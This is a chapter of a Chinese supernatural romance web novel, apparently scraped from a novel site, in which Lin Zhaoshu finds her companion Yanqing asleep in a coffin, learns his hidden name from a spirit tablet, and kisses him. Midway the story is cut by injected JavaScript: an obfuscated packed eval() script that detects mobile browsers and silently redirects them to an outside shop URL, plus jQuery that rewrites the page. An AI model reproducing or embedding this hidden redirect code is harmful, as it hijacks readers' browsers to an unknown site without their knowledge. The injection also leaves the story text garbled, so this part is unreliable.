月色透过窗纱浅浅淌进来,烛火偶尔发出细微噼响。林昭皱眉苏醒,积累在身体里的劳累居然一扫而空,前所未有的舒畅。
空旷的正堂,一口棺木静静地伫在中央,林昭姝扶着棺身站起,垂下眼睫。
沉重紧闭的棺盖裂开一道狭长缝隙,林昭姝抬手抵住哑黑的棺盖,臂上发力缓缓推送。
老旧棺木摩擦出滞涩的吱呀长鸣,棺盖完全滑开,狭小的棺底赫然躺着一人一尸。
青白冷光照在近乎透明的肌肤,延清安详地躺着,双手放在小腹位置,姿势规整,和身旁的尸体别无二致。
林昭姝呼吸一滞,伸手去探男人的鼻息。
延清双目轻阖,往日里清厉的眉眼尽数舒展,长睫顺着呼吸如蝶翼轻颤。
林昭姝放下心,忌讳着眼旁的尸体,她喊得极轻,“延清,延清,醒醒。”
声声呼喊落进耳中,延清的睫羽簌簌颤动,片刻,沉重的眼皮掀开一条线。
林昭姝大喜过望,扶起延清。
延清:“我怎么在棺材里?”
林昭姝看了他一眼,道:“我还想问你是怎么回事。”
延清伸出手,在林昭姝的帮扶下跨出棺椁,半边身子虚弱地靠在林昭姝怀里,垂眸看向她说:“我貌似做了一个梦。”
提到梦,林昭姝脑海里不由浮现前不久发生的一切。
林昭姝问:“梦的内容是什么?”
延清把头垂进她的颈窝,闷声道:“我先问,昭姝做了什么梦?”
林昭姝的右半边肩颈的感官无限放大,高挺的鼻梁和吐出的气息扫在肌肤上,让人难以忽视。
此时回想内容,林昭姝难以启齿道:“一个……关于春天的噩梦。”
延清在她的肩窝闷声浅笑,林昭姝警惕道:“你笑什么,有什么问题吗?”
沉闷的笑声慢慢减淡,延清侧开脸,抬起一只眼眸与林昭姝对视,露出狡黠的笑容。
延清眼底微亮:“没有,只是对比昭姝,我好像做的也是一场有关于春天,但非常美妙的梦。”
林昭姝错开视线,动了下肩膀:“什么梦不梦,你别笑了。”
安稳依靠的脸蛋被颠了颠,延清见好就收,压下翘起的嘴角:“我是被拉进昭姝的幻梦了,梦里昭姝对我做了什么?”他存心停顿,幽幽道:“我好像不太记得了,昭姝你呢?”
林昭姝看向说话大喘气的男人,脸不红心不跳道:“我也不太记得了。”
“真可惜,我好想听听噩梦有多春天。”
林昭姝压低声音,喊道:“延清。”
“我在。”男人弯起眉眼,噙着笑意:“好,我不说了。”
延清拉起林昭姝手,正色道:“真不记得梦的内容了?你缠身的鬼气消减很多。”
林昭姝听着熟悉的话语,失笑道:“你不会要说回林府吧?”
延清疑惑道:“什么?”
林昭姝摇头,延清伸手摸向她腰间的符袋,从里掏出一颗圆滑饱满的红枣。
“这颗枣消灾辟祸的功效来源,我想是吸收侵害的鬼气,今夜来到灵堂,这里阴气太重,虽不至鬼侵体,但缠身的鬼气还是不死心让昭姝陷入幻梦。”
林昭姝拿过那颗何婆所赠的枣,细细端详。
原本皱缩干瘪、表皮起满褶子的干枣已经变得鼓胀饱满,凹陷的褶皱尽数填平,果皮泛出一层暗沉诡异的暗红,透着一股非生非熟的邪异光泽。
林昭姝道:“这枣看着就邪,它能吸收多久?”
延清把枣放回到原位,叮嘱道:“物极必反,这颗枣暂时不足为患,后面吸收的鬼气太多,到时昭姝交给我处理便好。”
“少去阴气重的地方,再就是看这缠身鬼气的死皮赖脸程度,侵体不成,恐怕会持续出现在昭姝梦中侵扰。”
“昭姝不用怕,就当是噩梦,梦里不疼不痒,遭遇的伤害不会像侵体一样反噬到现实中。”
延清的手轻轻环住林昭姝腰间,把人越贴越紧,包裹住纤细的身躯,亲昵又自然。
突如其来的拥抱让深信不疑的林昭姝本就安下的心动荡摇晃,她把延清推开,余光瞥到还开着棺口的棺木,赶忙让延清去推闭棺盖。
在灵堂里的尸体面前搂搂抱抱还是不太好。林昭姝故作自持,口是心非地想。
上一世她在殡仪馆泡面、和同事闲叙说笑,观摩男尸都是神色坦然。
偏偏面对延清,往日那些无所谓的尺度越来越收敛,一言一行,反倒处处拘守,处处在意。
林昭姝抓着耳朵,觉得她整个人的身心都在失控。
她的眼神飘忽,又落到正站在棺前的延清身上,林昭姝微微抿唇,把视线移开到前方。
哑黑棺木前的香案收拾整齐,立在正中的灵牌嵌在木托底座,黑漆板面,墨字工整,一下吸引住林昭姝的视线。
摇映的烛火在牌面流转,林昭姝走上前,看向灵牌上的刻字。
棺木前的灵牌刻着一位陌生人的姓名。
林昭姝回想到落在记忆里那个蹊跷的名字。
她抿唇,轻轻探道:“艳清。”
闭合棺木闷重的一响,男人侧过头,眼底平静无波,问:“怎么了,昭姝?”
林昭姝挤出一个笑容,故作镇定地摇了摇头,惊骇道:“我能唤你艳清吗?”
男人来到她的身前,指腹蹭过她的脸颊,蛇信轻吐:“昭姝不是已经唤过了吗?”
“嗯?”艳清按下她的脸颊肉,问:“怎么知道我的名字的?”
“梦里。”眼前的艳清眉眼清扬,熟悉安逸,林昭姝抓住脸上的手,笑道:“我梦见了一个名唤‘艳清’的灵牌,觉得和你名号相近,真是你的名字?”
艳清静静看了她一会,半晌才道:“昭姝还说你不记得梦里的内容。”
“重点是这个吗?”林昭姝笑出声,心间的阴霾一扫而空,问:“你不是说没人知道你的名字,我怎么会梦到?”
“我没说过鬼不知道。”艳清手放在下巴,佯装思考:“万一是缠着昭姝的恶鬼看我次次坏它好事,故意把我名字刻在灵牌上诅咒我呢。”
艳清越想越有理,当即道:“本来我还怀疑是昭姝把我放进棺材,现在看来不一定了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878601|212034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>林昭姝反驳道:“我怎么会像你一样做这么幼稚的事。”
“我幼稚吗?”
“极其幼稚还无聊。”
艳清不认可地掐了掐她的脸,转而道:“幻梦会依据梦主人的主观去生成,昭姝是不是想知道过我的名字?”
林昭姝一愣,问:“我想知道梦里就让我知道了?”
延清歪头端详着她:“对,梦里你想的都会实现。”他补充道:“昭姝可是第一个知道我姓名的。”
林昭姝咽了咽口水,眼前的艳清竟然隐隐和梦里那张被她视为冒牌货的人脸有些重合。
她想知道艳清的真名不假,但要说梦里发生的那些旖旎是靠她主观臆想……
原来,是她对艳清的心思如此不纯吗?
“昭姝,你脸怎么这么烫?”说着,艳清带着她手贴在自己发热的脸颊上。
林昭姝拍开他的手,羞愤甩锅:“艳清,你,你乱我道心。”
艳清倏然笑出声,“什么昭姝的道心?我怎么乱的?”
他笑颜明晃,戏谑道:“昭姝果然记得梦里的内容,说,是不是对我做坏事了?”
林昭姝低下头,闷声坚持道:“我没有,我不记得。”
她向来不是个含糊的人,但艳清越是这样欠扁的调戏,她就越不想说。
“我可不信。”艳清笑得更加灿烂,“昭姝快告诉我。”
明明从一开始就在诈她。林昭姝看着一脸诡计的艳清,撇开头不再理会。
面前男人笑声慢慢停滞,安静的时光悄然流转,耳边一阵细弱的声响,像在引人抬头探究。
林昭姝心里爬蚂蚁的躁动渐渐消失,她收起乱飞的心绪,抬起头。
周遭空空荡荡,视野里只有铺展的夜色,方才还与她嬉笑的男人不知所踪。
林昭姝一愣,脱口而出:“艳……”
她的话还没说完,一张清隽的面庞骤然逼近。
疏朗俊秀的眉眼猝不及防闯入视线,呼吸近得相缠,艳清好看的容貌瞬间攫住全部目光。
艳清注视着林昭姝呆愣的神色,不全是得逞的笑意,挑眉:“怎么样?”
林昭姝看向热衷于上演突脸杀的艳清一噎,无奈又好笑。
艳清的长睫清晰可见,林昭姝这次没有数,她只盯着这个像小狗一样热忱、毫无预兆闯进来的男人。
这不是梦,林昭姝清晰地知道。
知道归知道,但她还是鬼使神差地亲了上去。
薄唇很凉,和林昭姝想的一样。她退开半拳距离,等待男人的反应。
艳清指着她的唇,眼神晦暗:“这是什么意思?”
说完,他像急不可耐地小狗再次凑上来,捧起她的脸,轻轻啄了淡粉的嘴唇几下,笃定道:“昭姝亲我是喜欢我。”
林昭姝破功一笑,这么显而易见的事。
她拉起艳清的手,学着他问:“那你突脸吓我是喜欢我?”
艳清像听不出好赖话,沾沾自喜地体贴道:“你喜欢就好。”
林昭姝睨了他一眼,扶额看着这位心性不佳的男人:“你没救了。”